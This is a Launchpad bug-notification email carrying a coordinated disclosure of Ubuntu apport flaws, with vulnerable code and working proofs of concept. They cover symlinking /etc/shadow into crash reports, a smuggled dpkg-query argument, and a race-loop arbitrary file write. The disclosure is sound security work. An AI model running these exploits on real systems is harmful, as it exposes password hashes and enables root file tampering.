** Changed in: apport (Ubuntu Impish)
     Assignee: (unassigned) => SatoshiNakamoto (evansanita713)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1917904

Title:
  Arbitrary file reads

Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Bionic:
  Fix Released
Status in openjdk-lts source package in Bionic:
  New
Status in apport source package in Focal:
  Fix Released
Status in openjdk-lts source package in Focal:
  New
Status in apport source package in Groovy:
  Fix Released
Status in openjdk-lts source package in Groovy:
  New
Status in apport source package in Hirsute:
  Fix Released
Status in openjdk-lts source package in Hirsute:
  New
Status in apport source package in Impish:
  Fix Released
Status in openjdk-lts source package in Impish:
  New

Bug description:
  # Vulnerabilities in Apport
  During a cursory code review, several potential security issues in `apport` 
and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have 
been identified.

  While the issue regarding the `openjdk-14-lts` package is exploitable
  on default installations, the remaining issues most likely are mitigated by 
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.

  With regard to issues mitigated by `fs.protected_symlinks`, it is not
  clear if they are considered to be part of the threat model, but
  nonetheless will be included in this report. Further, if the issues
  regarding package hooks should be reported in the corresponding
  packages' bug tracker, please let me know.

  ## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
  The `add_info()` function allows for a directory traversal by building a file 
path using user-controlled data without properly sanitizing the resulting path.

  ```Python
  def add_info(report, ui=None):
      if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
          # attach hs_err_<pid>.pid file
          cwd = report['ProcCwd']
          pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
          if pid_line:
              pid = pid_line.groups()[0]
              path = "%s/hs_err_pid%s.log" % (cwd, pid)
              # make sure if exists
              if os.path.exists(path):
                  content = read_file(path)
                  # truncate if bigger than 100 KB
                  # see LP: #1696814
                  max_length = 100*1024
                  if sys.getsizeof(content) < max_length:
                      report['HotspotError'] = content
                      report['Tags'] += ' openjdk-hs-err'
                  else:
                      report['HotspotError'] = content[:max_length] + \
                              "\n[truncated by openjdk-11 apport hook]" + \
                              "\n[max log size is %s, file size was %s]" % \
                              (si_units(max_length), 
si_units(sys.getsizeof(content)))
                      report['Tags'] += ' openjdk-hs-err'
  ```

  By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as
  `0`, the function includes an arbitrary file by following a potential
  symbolic link `/home/user/hs_err_pid0.log`.

  ### PoC
  ```
  $ sudo apt install openjdk-14-jdk

  $ sudo sysctl fs.protected_symlinks
  fs.protected_symlinks = 1

  $ ln -s /etc/shadow /home/user/hs_err_pid0.log

  $ pid=$'\t0';cat << EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: openjdk-lts 123
  SourcePackage: openjdk-lts
  ProcCwd: /home/user
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  $ grep -A3 root: /var/crash/poc.crash
   root:!:18393:0:99999:7:::
   daemon:*:18375:0:99999:7:::
   bin:*:18375:0:99999:7:::
   sys:*:18375:0:99999:7:::
  ```

  ## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
  The root cause of this issue stems from the fact, that a potentially
  user-controlled file in the `/tmp` directory is not checked for being a 
symbolic link and therefore might allow including arbitrary files in the 
processed crash report:

  Note: Requires `fs.protected_symlinks=0`

  ```Python
  def attach_3d_info(report, ui=None):
      ...

      # Compiz internal state if compiz crashed
      if True or report.get('SourcePackage','Unknown') == "compiz" and 
"ProcStatus" in report:
          compiz_pid = 0
          pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
          if pid_line:
              compiz_pid = pid_line.groups()[0]
          compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
          attach_file_if_exists(report, compiz_state_file, 
"compiz_internal_states")
  ```

  ### PoC
  ```
  $ sudo sysctl fs.protected_symlinks=0
  fs.protected_symlinks = 0

  $ ln -s /etc/shadow /tmp/compiz_internal_state0

  $ cat << EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: source_xorg 123
  SourcePackage: compiz
  ProcStatus:
   Pid:
  EOF

  $ grep -A3 compiz_internal poc.crash
  compiz_internal_states:
   root:!:18686:0:99999:7:::
   daemon:*:18474:0:99999:7:::
   bin:*:18474:0:99999:7:::
  ```

  ## Issue 3: Spoof modified config files via argument injection (Info)
  The `get_modified_conffiles()` function allows to spoof modified 
configuration files by a controlled package name:

  ```Python
  def get_modified_conffiles(self, package):
  ...
      dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=${Conffiles}',
                                package], stdout=subprocess.PIPE)
  ```

  By supplying a `package` name such as
  `--showformat='${Conffiles;6}shadow 1\n'` it is possible to manipulate 
dpkg-query's output and therefore to include the `shadow` file in the resulting 
crash report.

  Please note however that this function is seemingly only called in the 
`attach_conffiles()` function, which subsequently requires a UI response
  of the user to finally include the file in the crash report.

  ### PoC
  ```
  $ dpkg-query -W --showformat='${Conffiles}' 
--showformat='${Conffiles;6}shadow 1\n' | head -n2
   /etc/shadow 1
        shadow 1
  ```

  ## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
  After adding additional information to the crash file, `whoopsie-upload-all` 
does not check if the crash file was replaced by a symbolic link before writing 
the extended report back into the file. Thus, replacing the crash file with a 
symbolic link allows to write into arbitrary files using 
`whoopsie-upload-all`'s elevated privileges. By using a program's lax 
configuration parsing (e.g. `logrotate`), this might lead to code execution.

  Note: Requires `fs.protected_symlinks=0`

  ```Python
  def process_report(report):
      '''Collect information for a report and mark for whoopsie upload
      ...
          # write updated report, we use os.open and os.fdopen as
          # /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
          fd = os.open(report, os.O_WRONLY | os.O_APPEND)
          with os.fdopen(fd, 'wb') as f:
              os.chmod(report, 0)
              r.write(f, only_new=True)
              os.chmod(report, 0o640)
  ```

  ### PoC
  ```
  $ sudo sysctl fs.protected_symlinks
  fs.protected_symlinks = 0

  $ cat ex.sh
  TARGET="/JRN"
  while :; do
    FN="/var/crash/$RANDOM.poc.crash"
    pid=$'\t0';cat << EOF > $FN
  ProblemType: Crash
  ExecutablePath: /poc
  Package: openjdk-lts 123
  SourcePackage: openjdk-lts
  ProcCwd: /home/user
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF
    while :; do
      if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi
    done
    sleep 0.3
    rm -f $FN
    ln -s $TARGET $FN

    if [ -s /JRN ]; then echo DONE.; break; fi
  done

  $ sudo touch /JRN; ls -l /JRN  # simulating file in e.g. /etc/logrotate.d/
  -rw-r--r-- 1 root root 0 M�r  3 14:15 /JRN

  $ bash ex.sh
  DONE.

  $ ls -l /JRN; sudo head -n3 /JRN
  -rw-r----- 1 root root 105028 M�r  3 14:16 /JRN
  ApportVersion: 2.20.11-0ubuntu27.16
  Architecture: amd64
  CasperMD5CheckResult: skip
  ```

  # Credits
  Please credit m...@secfault-security.com (@fktio) if the issues are 
considered valid. Further, please coordinate the patch release date with us, in 
case we consider publishing a short article about these issues.

  Best regards,
  maik

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1917904/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to     : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

Reply via email to